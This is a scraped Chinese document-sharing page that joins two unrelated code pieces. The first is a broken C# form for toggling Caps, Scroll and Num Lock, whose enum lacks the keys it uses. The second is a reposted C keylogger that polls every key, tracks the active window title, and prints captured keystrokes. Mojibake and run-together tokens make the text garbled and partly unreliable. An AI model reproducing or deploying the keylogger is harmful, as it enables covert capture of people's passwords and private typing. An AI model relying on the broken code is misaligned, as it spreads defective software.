using System;using System.Collections.Generic;using ponentModel;using System.Data;using System.Drawing;using System.Text;using System.Windows.Forms;using System.Runtime.InteropServices;namespace sn设置键盘⼤⼩写{public partial class Form1 : Form{const uint KEYEVENTF_EXTENDEDKEY = 0x1;const uint KEYEVENTF_KEYUP = 0x2;[DllImport("user32.dll")]static extern short GetKeyState(int nVirtKey);[DllImport("user32.dll")]static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, uint dwExtraInfo);public enum VirtualKeys : byte{VK_A = 62}public Form1(){InitializeComponent();}public static bool GetState(VirtualKeys Key){return (GetKeyState((int)Key)==1);}public static void SetState(VirtualKeys Key, bool State){if (State != GetState(Key)){keybd_event((byte)Key, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0);keybd_event((byte)Key, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);}}private void btnOpenCAPITAL_Click(object sender, EventArgs e){SetState(VirtualKeys.VK_CAPITAL, true);}private void btnCloseCAPITAL_Click(object sender, EventArgs e){SetState(VirtualKeys.VK_CAPITAL, false);}private void btnOpenScroll_Click(object sender, EventArgs e){SetState(VirtualKeys.VK_SCROLL, true);}private void btnCloseScroll_Click(object sender, EventArgs e){SetState(VirtualKeys.VK_SCROLL, false);}private void btnOpenNum_Click(object sender, EventArgs e){SetState(VirtualKeys.VK_NUMLOCK, true);}private void btnCloseNum_Click(object sender, EventArgs e) {SetState(VirtualKeys.VK_NUMLOCK, false);}}}。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

//CÓïÑÔ±àд¼üÅ̼ǼÆ÷Ô´´úÂë¡¾×ªÔØ¡¿2010Äê06ÔÂ16ÈÕ ÐÇÆÚÈý ÏÂÎç 07:59 #include <windows.h>#include <stdio.h>// Some Global Variables// Lower Case Key & Some Other Keyschar *LowerCase[]={"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]","[F10]","[F11]","[F12]","`","1","2","3","4","5","6","7","8","9","0","-","=","[TAB]","q","w","e","r","t","y","u","o","p","[","]","a","s","d","f","g","h","j","k","l",";","'","z","x","c","v","b","n","m",",",".","/","\\", "[CTRL]", "[WIN]"," ","[WIN]","[Print Screen]", "[Scroll Lock]", "[Insert]", "[Home]", "[PageUp]", "[Del]", "[End]", "[PageDown]", "[Left]", "[UP]", "[Right]", "[Down]","[Num Lock]","*","-","+","0","1","2","3","4","5","6","7","8","9",".",};// Upper Case Key & Some Other Keys char *UpperCase[]={"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]","[F10]","[F11]","[F12]","~","!","@","#","$","%","^","&","*","(","_","+","[TAB]","Q","W","E","R","T","Y","U","I","O","P","{","}","A","S","D","F","G","H","J","K","L",":","\"","Z","X","C","V","B","N","M","<",">",".?","|", "[CTRL]", "[WIN]"," ","[WIN]","[Print Screen]", "[Scroll Lock]","[Insert]","[Home]","[PageUp]","[Del]","[End]","[PageDown]","[Left]","[Up]","[Right]","[Down]","[Num Lock]","/","*","-","+","0","1","2","3","4","5","6","7","8","9",".",};// Ascii Keys,Forget About It int SpecialKeys[]={8,13,27,112,113,114,115,116,117,118,119,120,121,122,192, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48, 189, 187, 9, 81, 87, 69, 82, 84, 89, 85, 73, 79, 80, 219, 221, 65, 83, 68, 70, 71, 72, 74, 75, 76, 186, 222, 90, 88, 67, 86, 66, 78,188,190,191,220,17,91,32,92,44,145,45,36,33,46,35,34,37,38,39,40,144,111,106,109,107,96,97,98,99,100,101,102,103,104,105,110,};HWND PreviousFocus=NULL;// End Of Data// Function ProtoType Declaration//----------------------------------------------------------------------BOOL IsWindowsFocusChange();BOOL KeyLogger();//----------------------------------------------------------------------// End Of Fucntion ProtoType Declaration// Main Functionint main(){KeyLogger(); // Run The Keyloggerreturn 0; // The Program Quit}// End Of Main//-------------------------------------------------------------------------// Purpose: To Check The Active Windows Title// Return Type: Boolean// Parameters: NULL//-------------------------------------------------------------------------BOOL IsWindowsFocusChange(){HWND hFocus = GetForegroundWindow(); // Retrieve The Active Windows's FocusBOOL ReturnFlag = FALSE; // Declare The Return Flagif (hFocus != PreviousFocus) // The Active Windows Has Change{PreviousFocus = hFocus; // Save The Old Active Windos Focusint WinLeng = GetWindowTextLength(hFocus); // Get The Active Windows's Caption's Lengthchar *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // Allocate Memory For The CaptionGetWindowText(hFocus,WindowCaption,(WinLeng + 1)); // Retrieve The Active Windows's Captionif (strlen(WindowCaption) > 0) // Really Get The Windows's Caption {printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption); // Display The Active Windows's CaptionReturnFlag=TRUE; // Indicate The Windows's Focus Has Changed}free(WindowCaption); // Free The Allocated Memory}return ReturnFlag; // Return The Flag}// End Of IsWindowsFocusChange Function//-------------------------------------------------------------------------// Purpose: To Manage(Display)The Keys Retrieved From System's Key Buffer// Return Type: Boolean// Parameters: NULL//-------------------------------------------------------------------------BOOL KeyLogger(){int bKstate[256] = {0}; // Declare The Key State Arrayint i,x;char KeyBuffer[600]; // Key Buffer Arrayint state; // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ectint shift; // Variable To Hode State Of Shift Key// Reset The Buffermemset(KeyBuffer,0,sizeof(KeyBuffer));while(TRUE) // Forever Loop Is Taking Place Here{Sleep(8); // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UPif (IsWindowsFocusChange()) //Check The Active Windows Title{if (strlen(KeyBuffer) != 0) // Keys Are Pressed{printf("%s\r\n",KeyBuffer); // Display The Keys Pressedmemset(KeyBuffer,0,sizeof(KeyBuffer)); // reset The Buffer}}for(i=0;i<95;i++) // Looping To Check Visual Keys{shift = GetKeyState(VK_SHIFT); // Check Whether Shift Is Pressedx = SpecialKeys[i]; // Match The Keyif (GetAsyncKeyState(x) & 0x8000) // Check Combination Keys{// See Whether CapsLocak Or Shift Is Pressedif (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x< 91))) //Caps Lock And Shift Is Not Pressed{bKstate[x] = 1; //Uppercase Characters A-Z}elseif (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Pressed{bKstate[x] = 2; //Lowercase a-z}elseif (shift < 0) // Shift Is Pressed{bKstate[x] = 3; //Uppercase Characters A-Z}elsebKstate[x] = 4; //Lowercase a-z}else{if (bKstate[x] != 0) // No Combination Keys Detected{state = bKstate[x]; // Retrieve The Current StatebKstate[x] = 0; // Reset The Current Stateif (x == 8) // Back Space Is Detected{KeyBuffer[strlen(KeyBuffer) - 1] = 0; // One Key Back Thencontinue; // Start A New Loop}elseif (strlen(KeyBuffer) > 550) // Buffer FULL{printf("%s <Buffer Full>",KeyBuffer); // Display The Keys Retrievedmemset(KeyBuffer,0,sizeof(KeyBuffer)); // Reset The Buffercontinue; // Start A New Loop}elseif (x == 13) // Enter Is Detected{if (strlen(KeyBuffer) == 0) // No Other Keys Retrieved But Enter{continue; // Start A New Loop}printf("%s<Enter>\r\n",KeyBuffer); // Retrieve Other Keys With Entermemset(KeyBuffer,0,sizeof(KeyBuffer)); // Display The Keys With Entercontinue; // Start A New Loop}elseif ((state%2) == 1) //Must Be Upper Case Characters{strcat(KeyBuffer,UpperCase[i]); // Store The Key To Key Buffer}elseif ((state%2) == 0) // Must Be Lower Case Characters{strcat(KeyBuffer,LowerCase[i]); // Store The Key To Key Buffer}}}}// End Of For Loop}// End Of While Loopreturn TRUE; // Return To The Caller}// End Of KeyLogger Function// End Of File。

相关文档
最新文档